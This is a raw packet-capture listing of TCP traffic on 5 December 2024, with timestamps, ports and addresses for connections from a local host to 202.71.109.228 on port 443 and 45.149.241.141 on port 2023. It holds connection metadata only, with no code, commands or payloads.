Dec 5, 2024 10:39:17.468158960 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.468250990 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.473592043 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.473661900 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.479041100 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.479094028 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.486186981 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.486248970 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.491708994 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.491765976 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.497128963 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.497179985 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.504354000 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.504409075 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.509661913 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.509727001 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.688133955 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.688201904 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.693402052 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.693461895 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.700875044 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.700933933 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.711508989 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.711554050 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.711585999 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.711617947 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.711642981 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.711672068 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.717375040 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.717432022 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.717459917 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.717484951 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.717500925 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.717528105 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.717565060 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.718036890 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.718053102 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:22.065751076 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:22.185645103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:22.185724020 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:22.185967922 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:22.305641890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:23.430376053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:23.431410074 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:23.551192045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:23.830647945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:23.842283010 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:23.961931944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293642044 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293678045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293690920 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293802023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293848038 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.293848038 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.293863058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293884993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293900013 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.293956995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.294122934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.295108080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.295217991 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.295258045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.295471907 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.303432941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.304961920 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.305159092 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.413897991 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.413923979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.413990021 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.485927105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.486011982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.486217022 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.489671946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.489767075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.489820004 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.497298002 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.497384071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.497446060 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.504647970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.504719019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.504761934 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.512360096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.512423992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.512471914 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.520085096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.520170927 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.520220995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.527718067 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.527806997 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.527872086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.535466909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.535552979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.535604000 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.545134068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.545150995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.545195103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.551049948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.551193953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.551232100 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.558367014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.558671951 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.558708906 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.566005945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.566034079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.566078901 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.678323984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.678502083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.678554058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.680625916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.680768013 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.680805922 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.685388088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.685520887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.685575008 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.690264940 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.690299988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.690341949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.694963932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.695003033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.695067883 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.699960947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.699978113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.700026035 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.703984976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.704145908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.704210043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.708401918 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.708518028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.708563089 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.712965965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.713028908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.713066101 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.717323065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.717417955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.717466116 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.721790075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.721976995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.722022057 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.726542950 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.726665020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.726711988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.730911970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.731055021 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.731097937 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.735527039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.735649109 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.735743046 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.739927053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.739948034 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.740010977 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.744456053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.744474888 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.744549036 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.748943090 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.748961926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.749037981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.753082037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.753101110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.753154993 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.757761955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.757898092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.757949114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.761883020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.761977911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.762022972 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.766396999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.766509056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.766565084 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.772654057 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.772671938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.772733927 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.800985098 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.801070929 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.801132917 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.803237915 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.803303957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.803397894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.870389938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.870477915 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.870534897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.872203112 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.872889042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.872936964 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.873025894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.876667023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.876720905 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.876801014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.880604029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.880671024 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.880685091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.884073973 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.884139061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.884183884 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.887785912 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.887841940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.887849092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.891253948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.891304970 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.891347885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.894711018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.894769907 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.894834042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.898003101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.898044109 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.898104906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.901390076 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.901434898 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.901468992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.904649019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.904696941 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.905051947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.907885075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.907938957 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.907954931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.911240101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.911293030 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.911474943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.914447069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.914499044 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.914550066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.917705059 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.917756081 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.917942047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.921051025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.921097040 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.921222925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.924288034 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.924341917 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.924530029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.927532911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.927587032 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.927673101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.929577112 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.929626942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.929636955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.931380987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.931431055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.931505919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.933336020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.933394909 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.933476925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.935172081 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.935214996 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.935275078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.937103033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.937150955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.937169075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.939024925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.939068079 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.939141989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.940913916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.940944910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.940965891 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.942826986 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.942884922 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.942905903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.944704056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.944767952 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.944823980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.946595907 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.946649075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.946717024 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.948535919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.948592901 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.948633909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.950408936 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.950426102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.950481892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.952306032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.952356100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.952358961 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.954401970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.954456091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.954566956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.956104994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.956160069 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.956223011 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.958024025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.958060980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.958086967 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.959893942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.959952116 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:24.960036993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.961747885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:24.961801052 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.062805891 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.062896967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.062946081 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.063704014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.063894987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.063935041 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.065618992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.066318035 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.066369057 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.066379070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.068223953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.068301916 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.068433046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.070141077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.070183039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.070189953 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.071966887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.071990967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.072020054 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.073755026 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.073800087 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.073895931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.075495005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.075553894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.075572014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.077172041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.077218056 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.077224970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.078857899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.078911066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.078952074 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.080547094 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.080576897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.080600023 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.082114935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.082159042 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.082216024 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.083771944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.083805084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.083826065 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.085262060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.085304976 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.085371971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.086874008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.086932898 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.087095022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.088360071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:25.088403940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:25.088454008 CET	2023	49852	45.149.241.141	192.168.2.7
